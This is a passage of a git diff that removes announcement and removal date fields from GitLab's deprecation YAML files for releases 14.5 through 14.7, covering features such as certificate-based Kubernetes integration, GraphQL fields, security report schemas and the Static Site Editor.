diff --git a/data/deprecations/14-5-certificate-based-integration-with-kubernetes.yml b/data/deprecations/14-5-certificate-based-integration-with-kubernetes.yml
index 44098f83c20..85b006e6768 100644
--- a/data/deprecations/14-5-certificate-based-integration-with-kubernetes.yml
+++ b/data/deprecations/14-5-certificate-based-integration-with-kubernetes.yml
@@ -1,8 +1,6 @@
- title: "Self-managed certificate-based integration with Kubernetes"
announcement_milestone: "14.5"
- announcement_date: "2021-11-15"
removal_milestone: "17.0"
- removal_date: "2024-05-22" # the date of the milestone release when this feature is planned to be removed
breaking_change: true
body: |
The certificate-based integration with Kubernetes [will be deprecated and removed](https://about.gitlab.com/blog/2021/11/15/deprecating-the-cert-based-kubernetes-integration/).
diff --git a/data/deprecations/14-5-deprecate-convert-instance-runner-to-project.yml b/data/deprecations/14-5-deprecate-convert-instance-runner-to-project.yml
index 953af3634f7..91f96e87703 100644
--- a/data/deprecations/14-5-deprecate-convert-instance-runner-to-project.yml
+++ b/data/deprecations/14-5-deprecate-convert-instance-runner-to-project.yml
@@ -1,8 +1,6 @@
- title: "Changing an instance (shared) runner to a project (specific) runner"
announcement_milestone: "14.5" # The milestone when this feature was first announced as deprecated.
- announcement_date: "2021-11-22"
removal_milestone: "15.0" # the milestone when this feature is planned to be removed
- removal_date: "2022-05-22" # the date of the milestone release when this feature is planned to be removed
breaking_change: true
body: | # Do not modify this line, instead modify the lines below.
In GitLab 15.0, you can no longer change an instance (shared) runner to a project (specific) runner.
diff --git a/data/deprecations/14-5-deprecate-defaultMergeCommitMessageWithDescription-graphql.yml b/data/deprecations/14-5-deprecate-defaultMergeCommitMessageWithDescription-graphql.yml
index 447fb4e3ef5..a993fa0897c 100644
--- a/data/deprecations/14-5-deprecate-defaultMergeCommitMessageWithDescription-graphql.yml
+++ b/data/deprecations/14-5-deprecate-defaultMergeCommitMessageWithDescription-graphql.yml
@@ -1,8 +1,6 @@
- title: "`defaultMergeCommitMessageWithDescription` GraphQL API field" # The name of the feature to be deprecated
announcement_milestone: "14.5" # The milestone when this feature was first announced as deprecated.
- announcement_date: "2021-11-22" # The date of the milestone release when this feature was first announced as deprecated. This should almost always be the 22nd of a month (YYYY-MM-22), unless you did an out of band blog post.
removal_milestone: "15.0" # The milestone when this feature is planned to be removed
- removal_date: "2022-05-22" # the date of the milestone release when this feature is planned to be removed
breaking_change: true
body: | # Do not modify this line, instead modify the lines below.
The GraphQL API field `defaultMergeCommitMessageWithDescription` has been deprecated and will be removed in GitLab 15.0. For projects with a commit message template set, it will ignore the template.
diff --git a/data/deprecations/14-5-deprecate-opensuse-15-2.yml b/data/deprecations/14-5-deprecate-opensuse-15-2.yml
index abc30980c7f..ff1702b7de5 100644
--- a/data/deprecations/14-5-deprecate-opensuse-15-2.yml
+++ b/data/deprecations/14-5-deprecate-opensuse-15-2.yml
@@ -1,8 +1,6 @@
- title: "openSUSE Leap 15.2 packages" # The name of the feature to be deprecated
announcement_milestone: "14.5" # The milestone when this feature was first announced as deprecated.
- announcement_date: "2021-11-22" # The date of the milestone release when this feature was first announced as deprecated. This should almost always be the 22nd of a month (YYYY-MM-22), unless you did an out of band blog post.
removal_milestone: "14.8" # The milestone when this feature is planned to be removed
- removal_date: "2022-02-22" # the date of the milestone release when this feature is planned to be removed
breaking_change: false
body: | # Do not modify this line, instead modify the lines below.
Distribution support and security updates for openSUSE Leap 15.2 are [ending December 2021](https://en.opensuse.org/Lifetime#openSUSE_Leap).
diff --git a/data/deprecations/14-5-deprecate-sles-12sp2.yml b/data/deprecations/14-5-deprecate-sles-12sp2.yml
index cc5bef6f203..37a0e917eb9 100644
--- a/data/deprecations/14-5-deprecate-sles-12sp2.yml
+++ b/data/deprecations/14-5-deprecate-sles-12sp2.yml
@@ -1,8 +1,6 @@
- title: "Support for SLES 12 SP2" # The name of the feature to be deprecated
announcement_milestone: "14.5" # The milestone when this feature was first announced as deprecated.
- announcement_date: "2021-11-22"
removal_milestone: "15.0" # the milestone when this feature is planned to be removed
- removal_date: "2022-05-22" # the date of the milestone release when this feature is planned to be removed
breaking_change: true
body: | # Do not modify this line, instead modify the lines below.
Long term service and support (LTSS) for SUSE Linux Enterprise Server (SLES) 12 SP2 [ended on March 31, 2021](https://www.suse.com/lifecycle/). The CA certificates on SP2 include the expired DST root certificate, and it's not getting new CA certificate package updates. We have implemented some [workarounds](https://gitlab.com/gitlab-org/gitlab-omnibus-builder/-/merge_requests/191), but we will not be able to continue to keep the build running properly.
diff --git a/data/deprecations/14-5-deprecation-versions-packagetype.yml b/data/deprecations/14-5-deprecation-versions-packagetype.yml
index 110bb9f218f..88b0133d4d3 100644
--- a/data/deprecations/14-5-deprecation-versions-packagetype.yml
+++ b/data/deprecations/14-5-deprecation-versions-packagetype.yml
@@ -1,8 +1,6 @@
- title: "`Versions` on base `PackageType`"
announcement_milestone: "14.5" # The milestone when this feature was first announced as deprecated.
- announcement_date: "2021-11-22" # The date of the milestone release when this feature was first announced as deprecated. This should almost always be the 22nd of a month (YYYY-MM-22), unless you did an out of band blog post.
removal_milestone: "15.0" # The milestone when this feature is planned to be removed
- removal_date: "2022-05-22" # the date of the milestone release when this feature is planned to be removed
breaking_change: true
body: | # Do not modify this line, instead modify the lines below.
As part of the work to create a [Package Registry GraphQL API](https://gitlab.com/groups/gitlab-org/-/epics/6318), the Package group deprecated the `Version` type for the basic `PackageType` type and moved it to [`PackageDetailsType`](https://docs.gitlab.com/ee/api/graphql/reference/index.html#packagedetailstype).
diff --git a/data/deprecations/14-5-deprecation-vsa-announce-deprecation-of-vsa-filtering-calculation.yml b/data/deprecations/14-5-deprecation-vsa-announce-deprecation-of-vsa-filtering-calculation.yml
index 10ed8ff8ad6..c1b48e79386 100644
--- a/data/deprecations/14-5-deprecation-vsa-announce-deprecation-of-vsa-filtering-calculation.yml
+++ b/data/deprecations/14-5-deprecation-vsa-announce-deprecation-of-vsa-filtering-calculation.yml
@@ -1,8 +1,6 @@
- title: "Value Stream Analytics filtering calculation change" # The name of the feature to be deprecated
announcement_milestone: "14.5" # The milestone when this feature was first announced as deprecated.
- announcement_date: "2021-11-22" # The date of the milestone release when this feature was first announced as deprecated. This should almost always be the 22nd of a month (YYYY-MM-22), unless you did an out of band blog post.
removal_milestone: "15.0" # The milestone when this feature is planned to be removed
- removal_date: "2022-05-22" # the date of the milestone release when this feature is planned to be removed
breaking_change: true
body: | # Do not modify this line, instead modify the lines below.
We are changing how the date filter works in Value Stream Analytics. Instead of filtering by the time that the issue or merge request was created, the date filter will filter by the end event time of the given stage. This will result in completely different figures after this change has rolled out.
diff --git a/data/deprecations/14-5-disable_strict_host_key_checking.yml b/data/deprecations/14-5-disable_strict_host_key_checking.yml
index c5677dd8c3c..33e1da0206b 100644
--- a/data/deprecations/14-5-disable_strict_host_key_checking.yml
+++ b/data/deprecations/14-5-disable_strict_host_key_checking.yml
@@ -1,8 +1,6 @@
- title: "Known host required for GitLab Runner SSH executor"
announcement_milestone: "14.5" # The milestone when this feature was first announced as deprecated.
- announcement_date: "2021-11-22"
removal_milestone: "15.0" # the milestone when this feature is planned to be removed
- removal_date: "2022-05-22"
breaking_change: true
body: | # Do not modify this line, instead modify the lines below.
In [GitLab 14.3](https://gitlab.com/gitlab-org/gitlab-runner/-/merge_requests/3074), we added a configuration setting in the GitLab Runner `config.toml` file. This setting, [`[runners.ssh.disable_strict_host_key_checking]`](https://docs.gitlab.com/runner/executors/ssh.html#security), controls whether or not to use strict host key checking with the SSH executor.
diff --git a/data/deprecations/14-5-geo-deprecate-promote-db.yml b/data/deprecations/14-5-geo-deprecate-promote-db.yml
index 4aedc7a8876..d08ff45ad0b 100644
--- a/data/deprecations/14-5-geo-deprecate-promote-db.yml
+++ b/data/deprecations/14-5-geo-deprecate-promote-db.yml
@@ -1,8 +1,6 @@
- title: "`promote-db` command from `gitlab-ctl`" # The name of the feature to be deprecated
announcement_milestone: "14.5" # The milestone when this feature was first announced as deprecated.
- announcement_date: "2021-11-22" # The date of the milestone release when this feature was first announced as deprecated. This should almost always be the 22nd of a month (YYYY-MM-22), unless you did an out of band blog post.
removal_milestone: "15.0" # The milestone when this feature is planned to be removed
- removal_date: "2022-05-22"
breaking_change: true
body: | # Do not modify this line, instead modify the lines below.
In GitLab 14.5, we introduced the command `gitlab-ctl promote` to promote any Geo secondary node to a primary during a failover. This command replaces `gitlab-ctl promote-db` which is used to promote database nodes in multi-node Geo secondary sites. `gitlab-ctl promote-db` will continue to function as-is and be available until GitLab 15.0. We recommend that Geo customers begin testing the new `gitlab-ctl promote` command in their staging environments and incorporating the new command in their failover procedures.
diff --git a/data/deprecations/14-5-geo-deprecate-promote-to-primary-node.yml b/data/deprecations/14-5-geo-deprecate-promote-to-primary-node.yml
index 048a78aedc7..09048c33d39 100644
--- a/data/deprecations/14-5-geo-deprecate-promote-to-primary-node.yml
+++ b/data/deprecations/14-5-geo-deprecate-promote-to-primary-node.yml
@@ -1,8 +1,6 @@
- title: "`promote-to-primary-node` command from `gitlab-ctl`" # The name of the feature to be deprecated
announcement_milestone: "14.5" # The milestone when this feature was first announced as deprecated.
- announcement_date: "2021-11-22" # The date of the milestone release when this feature was first announced as deprecated. This should almost always be the 22nd of a month (YYYY-MM-22), unless you did an out of band blog post.
removal_milestone: "15.0" # The milestone when this feature is planned to be removed
- removal_date: "2022-05-22"
breaking_change: true
body: | # Do not modify this line, instead modify the lines below.
In GitLab 14.5, we introduced the command `gitlab-ctl promote` to promote any Geo secondary node to a primary during a failover. This command replaces `gitlab-ctl promote-to-primary-node` which was only usable for single-node Geo sites. `gitlab-ctl promote-to-primary-node` will continue to function as-is and be available until GitLab 15.0. We recommend that Geo customers begin testing the new `gitlab-ctl promote` command in their staging environments and incorporating the new command in their failover procedures.
diff --git a/data/deprecations/14-5-package-container-registry-api-group-update.yml b/data/deprecations/14-5-package-container-registry-api-group-update.yml
index 40174c02e50..d7dbf841c72 100644
--- a/data/deprecations/14-5-package-container-registry-api-group-update.yml
+++ b/data/deprecations/14-5-package-container-registry-api-group-update.yml
@@ -1,8 +1,6 @@
- title: "Update to the Container Registry group-level API"
announcement_milestone: "14.5" # The milestone when this feature was first announced as deprecated.
- announcement_date: "2021-11-22"
removal_milestone: "15.0" # the milestone when this feature is planned to be removed
- removal_date: "2022-05-22" # the date of the milestone release when this feature is planned to be removed
breaking_change: true
body: | # Do not modify this line, instead modify the lines below.
In milestone 15.0, support for the `tags` and `tags_count` parameters will be removed from the Container Registry API that [gets registry repositories from a group](../api/container_registry.md#within-a-group).
diff --git a/data/deprecations/14-5-remove-dependency-proxy-permissions-flag.yml b/data/deprecations/14-5-remove-dependency-proxy-permissions-flag.yml
index 0d9fe9c9539..075f518c3af 100644
--- a/data/deprecations/14-5-remove-dependency-proxy-permissions-flag.yml
+++ b/data/deprecations/14-5-remove-dependency-proxy-permissions-flag.yml
@@ -1,8 +1,6 @@
- title: "`dependency_proxy_for_private_groups` feature flag" # The name of the feature to be deprecated
announcement_milestone: "14.5" # The milestone when this feature was first announced as deprecated.
- announcement_date: "2021-11-22" # The date of the milestone release when this feature was first announced as deprecated. This should almost always be the 22nd of a month (YYYY-MM-22), unless you did an out of band blog post.
removal_milestone: "15.0" # The milestone when this feature is planned to be removed
- removal_date: "2022-05-22" # the date of the milestone release when this feature is planned to be removed
breaking_change: true
body: | # Do not modify this line, instead modify the lines below.
We added a feature flag because [GitLab-#11582](https://gitlab.com/gitlab-org/gitlab/-/issues/11582) changed how public groups use the Dependency Proxy. Prior to this change, you could use the Dependency Proxy without authentication. The change requires authentication to use the Dependency Proxy.
diff --git a/data/deprecations/14-5-remove-package-pipelines-api.yml b/data/deprecations/14-5-remove-package-pipelines-api.yml
index 0cf2201d6e3..f6a091c7c4b 100644
--- a/data/deprecations/14-5-remove-package-pipelines-api.yml
+++ b/data/deprecations/14-5-remove-package-pipelines-api.yml
@@ -1,8 +1,6 @@
- title: "Package pipelines in API payload is paginated" # The name of the feature to be deprecated
announcement_milestone: "14.5" # The milestone when this feature was first announced as deprecated.
- announcement_date: "2021-11-22" # The date of the milestone release when this feature was first announced as deprecated. This should almost always be the 22nd of a month (YYYY-MM-22), unless you did an out of band blog post.
removal_milestone: "16.0" # The milestone when this feature is planned to be removed
- removal_date: "2023-05-22" # the date of the milestone release when this feature is planned to be removed
breaking_change: true
body: | # Do not modify this line, instead modify the lines below.
A request to the API for `/api/v4/projects/:id/packages` returns a paginated result of packages. Each package lists all of its pipelines in this response. This is a performance concern, as it's possible for a package to have hundreds or thousands of associated pipelines.
diff --git a/data/deprecations/14-5-remove-pipelines-from-version-field.yml b/data/deprecations/14-5-remove-pipelines-from-version-field.yml
index 0470bba35cc..815a08550b2 100644
--- a/data/deprecations/14-5-remove-pipelines-from-version-field.yml
+++ b/data/deprecations/14-5-remove-pipelines-from-version-field.yml
@@ -1,8 +1,6 @@
- title: "`pipelines` field from the `version` field" # The name of the feature to be deprecated
announcement_milestone: "14.5" # The milestone when this feature was first announced as deprecated.
- announcement_date: "2021-11-22" # The date of the milestone release when this feature was first announced as deprecated. This should almost always be the 22nd of a month (YYYY-MM-22), unless you did an out of band blog post.
removal_milestone: "15.0" # The milestone when this feature is planned to be removed
- removal_date: "2022-05-22" # The date of the milestone release when this feature is planned to be removed
breaking_change: true
body: | # Do not modify this line, instead modify the lines below.
In GraphQL, there are two `pipelines` fields that you can use in a [`PackageDetailsType`](https://docs.gitlab.com/ee/api/graphql/reference/#packagedetailstype) to get the pipelines for package versions:
diff --git a/data/deprecations/14-5-runner-api-status-does-contain-paused.yml b/data/deprecations/14-5-runner-api-status-does-contain-paused.yml
index 9cf1294467a..0daa5fb24c9 100644
--- a/data/deprecations/14-5-runner-api-status-does-contain-paused.yml
+++ b/data/deprecations/14-5-runner-api-status-does-contain-paused.yml
@@ -1,8 +1,6 @@
- title: "GraphQL API Runner status will not return `paused`"
announcement_milestone: "14.5" # The milestone when this feature was first announced as deprecated.
- announcement_date: "2021-11-22"
removal_milestone: "16.0" # the milestone when this feature is planned to be removed
- removal_date: "2023-05-22" # the date of the milestone release when this feature is planned to be removed
breaking_change: true
body: | # Do not modify this line, instead modify the lines below.
The GitLab Runner GraphQL API endpoints will not return `paused` or `active` as a status in GitLab 16.0.
diff --git a/data/deprecations/14-6-Enforce-validation-of-security-schemas.yml b/data/deprecations/14-6-Enforce-validation-of-security-schemas.yml
index 614a1bc73d5..7c7096335f8 100644
--- a/data/deprecations/14-6-Enforce-validation-of-security-schemas.yml
+++ b/data/deprecations/14-6-Enforce-validation-of-security-schemas.yml
@@ -1,8 +1,6 @@
- title: "Enforced validation of security report schemas" # The name of the feature to be deprecated
announcement_milestone: "14.7" # The milestone when this feature was first announced as deprecated.
- announcement_date: "2022-01-22" # The date of the milestone release when this feature was first announced as deprecated. This should almost always be the 22nd of a month (YYYY-MM-22), unless you did an out of band blog post.
removal_milestone: "15.0" # The milestone when this feature is planned to be removed
- removal_date: "2022-05-22" # the date of the milestone release when this feature is planned to be removed
body: | # Do not modify this line, instead modify the lines below.
[Security report schemas](https://gitlab.com/gitlab-org/security-products/security-report-schemas/-/releases)
versions earlier than 14.0.0 will no longer be supported in GitLab 15.0. Reports that do not pass validation
diff --git a/data/deprecations/14-6-container-scanning-schemas-below-14.yml b/data/deprecations/14-6-container-scanning-schemas-below-14.yml
index 244c5662b25..910d42631ce 100644
--- a/data/deprecations/14-6-container-scanning-schemas-below-14.yml
+++ b/data/deprecations/14-6-container-scanning-schemas-below-14.yml
@@ -1,8 +1,6 @@
- title: "Container scanning schemas below 14.0.0" # The name of the feature to be deprecated
announcement_milestone: "14.7" # The milestone when this feature was first announced as deprecated.
- announcement_date: "2022-01-22" # The date of the milestone release when this feature was first announced as deprecated. This should almost always be the 22nd of a month (YYYY-MM-22), unless you did an out of band blog post.
removal_milestone: "15.0" # The milestone when this feature is planned to be removed
- removal_date: "2022-05-22" # the date of the milestone release when this feature is planned to be removed
body: | # Do not modify this line, instead modify the lines below.
[Container scanning report schemas](https://gitlab.com/gitlab-org/security-products/security-report-schemas/-/releases)
versions earlier than 14.0.0 will no longer be supported in GitLab 15.0. Reports that do not pass validation
diff --git a/data/deprecations/14-6-coverage-fuzzing-schemas-below-14.yml b/data/deprecations/14-6-coverage-fuzzing-schemas-below-14.yml
index dcb643d5787..fa663523a3a 100644
--- a/data/deprecations/14-6-coverage-fuzzing-schemas-below-14.yml
+++ b/data/deprecations/14-6-coverage-fuzzing-schemas-below-14.yml
@@ -1,8 +1,6 @@
- title: "Coverage guided fuzzing schemas below 14.0.0" # The name of the feature to be deprecated
announcement_milestone: "14.7" # The milestone when this feature was first announced as deprecated.
- announcement_date: "2022-01-22" # The date of the milestone release when this feature was first announced as deprecated. This should almost always be the 22nd of a month (YYYY-MM-22), unless you did an out of band blog post.
removal_milestone: "15.0" # The milestone when this feature is planned to be removed
- removal_date: "2022-05-22" # the date of the milestone release when this feature is planned to be removed
body: | # Do not modify this line, instead modify the lines below.
[Coverage guided fuzzing report schemas](https://gitlab.com/gitlab-org/security-products/security-report-schemas/-/releases)
below version 14.0.0 will no longer be supported in GitLab 15.0. Reports that do not pass validation
diff --git a/data/deprecations/14-6-dast-schemas-below-14.yml b/data/deprecations/14-6-dast-schemas-below-14.yml
index 8ff3d899951..07dd822ffa8 100644
--- a/data/deprecations/14-6-dast-schemas-below-14.yml
+++ b/data/deprecations/14-6-dast-schemas-below-14.yml
@@ -1,8 +1,6 @@
- title: "DAST schemas below 14.0.0" # The name of the feature to be deprecated
announcement_milestone: "14.7" # The milestone when this feature was first announced as deprecated.
- announcement_date: "2022-01-22" # The date of the milestone release when this feature was first announced as deprecated. This should almost always be the 22nd of a month (YYYY-MM-22), unless you did an out of band blog post.
removal_milestone: "15.0" # The milestone when this feature is planned to be removed
- removal_date: "2022-05-22" # the date of the milestone release when this feature is planned to be removed
body: | # Do not modify this line, instead modify the lines below.
[DAST report schemas](https://gitlab.com/gitlab-org/security-products/security-report-schemas/-/releases)
versions earlier than 14.0.0 will no longer be supported in GitLab 15.0. Reports that do not pass validation
diff --git a/data/deprecations/14-6-dependency-scanning-schemas-below-14.yml b/data/deprecations/14-6-dependency-scanning-schemas-below-14.yml
index 5255779f5a8..da666ab3b6a 100644
--- a/data/deprecations/14-6-dependency-scanning-schemas-below-14.yml
+++ b/data/deprecations/14-6-dependency-scanning-schemas-below-14.yml
@@ -1,8 +1,6 @@
- title: "Dependency scanning schemas below 14.0.0" # The name of the feature to be deprecated
announcement_milestone: "14.7" # The milestone when this feature was first announced as deprecated.
- announcement_date: "2022-01-22" # The date of the milestone release when this feature was first announced as deprecated. This should almost always be the 22nd of a month (YYYY-MM-22), unless you did an out of band blog post.
removal_milestone: "15.0" # The milestone when this feature is planned to be removed
- removal_date: "2022-05-22" # the date of the milestone release when this feature is planned to be removed
body: | # Do not modify this line, instead modify the lines below.
[Dependency scanning report schemas](https://gitlab.com/gitlab-org/security-products/security-report-schemas/-/releases)
versions earlier than 14.0.0 will no longer be supported in GitLab 15.0. Reports that do not pass validation
diff --git a/data/deprecations/14-6-deprecate-types.yml b/data/deprecations/14-6-deprecate-types.yml
index c2afcc8226d..1b46f593264 100644
--- a/data/deprecations/14-6-deprecate-types.yml
+++ b/data/deprecations/14-6-deprecate-types.yml
@@ -1,8 +1,6 @@
- title: "`type` and `types` keyword in CI/CD configuration" # The name of the feature to be deprecated
announcement_milestone: "14.6" # The milestone when this feature was first announced as deprecated.
- announcement_date: "2021-12-22" # The date of the milestone release when this feature was first announced as deprecated. This should almost always be the 22nd of a month (YYYY-MM-22), unless you did an out of band blog post.
removal_milestone: "15.0" # The milestone when this feature is planned to be removed
- removal_date: "2022-05-22" # the date of the milestone release when this feature is planned to be removed
breaking_change: true
body: | # Do not modify this line, instead modify the lines below.
The `type` and `types` CI/CD keywords will be removed in GitLab 15.0. Pipelines that use these keywords will stop working, so you must switch to `stage` and `stages`, which have the same behavior.
diff --git a/data/deprecations/14-6-deprecation-license-compliance-api-terms.yml b/data/deprecations/14-6-deprecation-license-compliance-api-terms.yml
index 03bfd5e1a7b..ac74fe5e84f 100644
--- a/data/deprecations/14-6-deprecation-license-compliance-api-terms.yml
+++ b/data/deprecations/14-6-deprecation-license-compliance-api-terms.yml
@@ -1,6 +1,5 @@
- title: "Legacy approval status names from License Compliance API" # The name of the feature to be deprecated
announcement_milestone: "14.6" # The milestone when this feature was first announced as deprecated.
- announcement_date: "2021-12-22" # The date of the milestone release when this feature was first announced as deprecated. This should almost always be the 22nd of a month (YYYY-MM-22), unless you did an out of band blog post.
removal_milestone: "15.0" # The milestone when this feature is planned to be removed
breaking_change: true
body: | # Do not modify this line, instead modify the lines below.
@@ -14,4 +13,3 @@
documentation_url: # (optional) This is a link to the current documentation page
image_url: # (optional) This is a link to a thumbnail image depicting the feature
video_url: # (optional) Use the youtube thumbnail URL with the structure of https://img.youtube.com/vi/UNIQUEID/hqdefault.jpg
- removal_date: "2022-05-22" # (optional - may be required in the future) YYYY-MM-DD format. This should almost always be the 22nd of a month (YYYY-MM-22), the date of the milestone release when this feature is planned to be removed
diff --git a/data/deprecations/14-6-deprecation-secure-dependency-scanning-bundler-audit.yml b/data/deprecations/14-6-deprecation-secure-dependency-scanning-bundler-audit.yml
index 5321c23e797..952f3267723 100644
--- a/data/deprecations/14-6-deprecation-secure-dependency-scanning-bundler-audit.yml
+++ b/data/deprecations/14-6-deprecation-secure-dependency-scanning-bundler-audit.yml
@@ -1,6 +1,5 @@
- title: "bundler-audit Dependency Scanning tool" # The name of the feature to be deprecated
announcement_milestone: "14.6" # The milestone when this feature was first announced as deprecated.
- announcement_date: "2021-12-22" # The date of the milestone release when this feature was first announced as deprecated. This should almost always be the 22nd of a month (YYYY-MM-22), unless you did an out of band blog post.
removal_milestone: "15.0" # The milestone when this feature is planned to be removed
breaking_change: true
body: | # Do not modify this line, instead modify the lines below.
@@ -14,4 +13,3 @@
documentation_url: https://docs.gitlab.com/ee/user/application_security/dependency_scanning/analyzers.html # (optional) This is a link to the current documentation page
image_url: # (optional) This is a link to a thumbnail image depicting the feature
video_url: # (optional) Use the youtube thumbnail URL with the structure of https://img.youtube.com/vi/UNIQUEID/hqdefault.jpg
- removal_date: "2022-05-22" # (optional - may be required in the future) YYYY-MM-DD format. This should almost always be the 22nd of a month (YYYY-MM-22), the date of the milestone release when this feature is planned to be removed
diff --git a/data/deprecations/14-6-job_char_limit.yml b/data/deprecations/14-6-job_char_limit.yml
index a1422f57506..4b94650fe23 100644
--- a/data/deprecations/14-6-job_char_limit.yml
+++ b/data/deprecations/14-6-job_char_limit.yml
@@ -1,8 +1,6 @@
- title: "CI/CD job name length limit" # The name of the feature to be deprecated
announcement_milestone: "14.6" # The milestone when this feature was first announced as deprecated.
- announcement_date: "2021-12-22" # The date of the milestone release when this feature was first announced as deprecated. This should almost always be the 22nd of a month (YYYY-MM-22), unless you did an out of band blog post.
removal_milestone: "15.0" # The milestone when this feature is planned to be removed
- removal_date: "2022-05-22" # (optional - may be required in the future) YYYY-MM-DD format - the date of the milestone release when this feature is planned to be removed
breaking_change: true
body: | # Do not modify this line, instead modify the lines below.
In GitLab 15.0 we are going to limit the number of characters in CI/CD job names to 255. Any pipeline with job names that exceed the 255 character limit will stop working after the 15.0 release.
diff --git a/data/deprecations/14-6-remove-api-fuzzing-ci-configuration-create-mutation.yml b/data/deprecations/14-6-remove-api-fuzzing-ci-configuration-create-mutation.yml
index 639c48f7302..9ee015c9883 100644
--- a/data/deprecations/14-6-remove-api-fuzzing-ci-configuration-create-mutation.yml
+++ b/data/deprecations/14-6-remove-api-fuzzing-ci-configuration-create-mutation.yml
@@ -1,8 +1,6 @@
- title: "apiFuzzingCiConfigurationCreate GraphQL mutation"
announcement_milestone: "14.6"
- announcement_date: "2021-12-22"
removal_milestone: "15.0"
- removal_date: "2022-05-22"
breaking_change: true
body: |
The API Fuzzing configuration snippet is now being generated client-side and does not require an
diff --git a/data/deprecations/14-6-sast-schemas-below-14.yml b/data/deprecations/14-6-sast-schemas-below-14.yml
index 9afab73e316..0d1f25bdfa3 100644
--- a/data/deprecations/14-6-sast-schemas-below-14.yml
+++ b/data/deprecations/14-6-sast-schemas-below-14.yml
@@ -1,8 +1,6 @@
- title: "SAST schemas below 14.0.0" # The name of the feature to be deprecated
announcement_milestone: "14.7" # The milestone when this feature was first announced as deprecated.
- announcement_date: "2022-01-22" # The date of the milestone release when this feature was first announced as deprecated. This should almost always be the 22nd of a month (YYYY-MM-22), unless you did an out of band blog post.
removal_milestone: "15.0" # The milestone when this feature is planned to be removed
- removal_date: "2022-05-22" # the date of the milestone release when this feature is planned to be removed
body: | # Do not modify this line, instead modify the lines below.
[SAST report schemas](https://gitlab.com/gitlab-org/security-products/security-report-schemas/-/releases)
versions earlier than 14.0.0 will no longer be supported in GitLab 15.0. Reports that do not pass validation
diff --git a/data/deprecations/14-6-secret-detection-schemas-below-14.yml b/data/deprecations/14-6-secret-detection-schemas-below-14.yml
index 53c9cf89795..4a0bd69c433 100644
--- a/data/deprecations/14-6-secret-detection-schemas-below-14.yml
+++ b/data/deprecations/14-6-secret-detection-schemas-below-14.yml
@@ -1,8 +1,6 @@
- title: "Secret detection schemas below 14.0.0" # The name of the feature to be deprecated
announcement_milestone: "14.7" # The milestone when this feature was first announced as deprecated.
- announcement_date: "2022-01-22" # The date of the milestone release when this feature was first announced as deprecated. This should almost always be the 22nd of a month (YYYY-MM-22), unless you did an out of band blog post.
removal_milestone: "15.0" # The milestone when this feature is planned to be removed
- removal_date: "2022-05-22" # the date of the milestone release when this feature is planned to be removed
body: | # Do not modify this line, instead modify the lines below.
[Secret detection report schemas](https://gitlab.com/gitlab-org/security-products/security-report-schemas/-/releases)
versions earlier than 14.0.0 will no longer be supported in GitLab 15.0. Reports that do not pass validation
diff --git a/data/deprecations/14-7-deprecate-artifacts-keyword.yml b/data/deprecations/14-7-deprecate-artifacts-keyword.yml
index e4c82ebcc24..17692f4b556 100644
--- a/data/deprecations/14-7-deprecate-artifacts-keyword.yml
+++ b/data/deprecations/14-7-deprecate-artifacts-keyword.yml
@@ -1,8 +1,6 @@
- title: "`artifacts:reports:cobertura` keyword"
announcement_milestone: "14.7"
- announcement_date: "2022-01-22"
removal_milestone: "15.0"
- removal_date: "2022-05-22"
breaking_change: true
body: |
Currently, test coverage visualizations in GitLab only support Cobertura reports. Starting 15.0, the
diff --git a/data/deprecations/14-7-deprecate-godep-support-in-license-compliance.yml b/data/deprecations/14-7-deprecate-godep-support-in-license-compliance.yml
index 080853e6f1e..9b1282e7ca0 100644
--- a/data/deprecations/14-7-deprecate-godep-support-in-license-compliance.yml
+++ b/data/deprecations/14-7-deprecate-godep-support-in-license-compliance.yml
@@ -1,8 +1,6 @@
- title: "Godep support in License Compliance" # The name of the feature to be deprecated
announcement_milestone: "14.7" # The milestone when this feature was first announced as deprecated.
- announcement_date: "2022-01-22" # The date of the milestone release when this feature was first announced as deprecated. This should almost always be the 22nd of a month (YYYY-MM-22), unless you did an out of band blog post.
removal_milestone: "15.0" # The milestone when this feature is planned to be removed
- removal_date: "2022-05-22" # This should almost always be the 22nd of a month (YYYY-MM-22), the date of the milestone release when this feature is planned to be removed.
body: | # Do not modify this line, instead modify the lines below.
The Godep dependency manager for Golang was deprecated in 2020 by Go and
has been replaced with Go modules.
diff --git a/data/deprecations/14-7-deprecate-merged_by-api-field.yml b/data/deprecations/14-7-deprecate-merged_by-api-field.yml
index 623a544052a..b49b8bf5271 100644
--- a/data/deprecations/14-7-deprecate-merged_by-api-field.yml
+++ b/data/deprecations/14-7-deprecate-merged_by-api-field.yml
@@ -12,9 +12,7 @@
- title: "merged_by API field" # The name of the feature to be deprecated
announcement_milestone: "14.7" # The milestone when this feature was first announced as deprecated.
- announcement_date: "2022-01-22" # The date of the milestone release when this feature was first announced as deprecated. This should almost always be the 22nd of a month (YYYY-MM-22), unless you did an out of band blog post.
removal_milestone: "16.0" # The milestone when this feature is planned to be removed
- removal_date: "2023-05-22" # the date of the milestone release when this feature is planned to be removed
breaking_change: true # If this deprecation is a breaking change, set this value to true
body: | # Do not modify this line, instead modify the lines below.
The `merged_by` field in the [merge request API](https://docs.gitlab.com/ee/api/merge_requests.html#list-merge-requests) has been deprecated in favor of the `merge_user` field which more correctly identifies who merged a merge request when performing actions (merge when pipeline succeeds, add to merge train) other than a simple merge. API users are encouraged to use the new `merge_user` field instead. The `merged_by` field will be removed in v5 of the GitLab REST API.
diff --git a/data/deprecations/14-7-deprecate-static-site-editor.yml b/data/deprecations/14-7-deprecate-static-site-editor.yml
index f44f4f3f256..ee87dfb2ed2 100644
--- a/data/deprecations/14-7-deprecate-static-site-editor.yml
+++ b/data/deprecations/14-7-deprecate-static-site-editor.yml
@@ -1,8 +1,6 @@
- title: "Static Site Editor" # The name of the feature to be deprecated
announcement_milestone: "14.7" # The milestone when this feature was first announced as deprecated.
- announcement_date: "2022-01-22" # The date of the milestone release when this feature was first announced as deprecated. This should almost always be the 22nd of a month (YYYY-MM-22), unless you did an out of band blog post.
removal_milestone: "15.0" # The milestone when this feature is planned to be removed
- removal_date: "2022-05-22" # This should almost always be the 22nd of a month (YYYY-MM-22), the date of the milestone release when this feature is planned to be removed.
body: | # Do not modify this line, instead modify the lines below.
The Static Site Editor will no longer be available starting in GitLab 15.0. Improvements to the Markdown editing experience across GitLab will deliver smiliar benefit but with a wider reach. Incoming requests to the Static Site Editor will be redirected to the [Web IDE](https://docs.gitlab.com/ee/user/project/web_ide/index.html).
diff --git a/data/deprecations/14-7-pseudonymizer.yml b/data/deprecations/14-7-pseudonymizer.yml
index 43987332210..be52b467337 100644
--- a/data/deprecations/14-7-pseudonymizer.yml
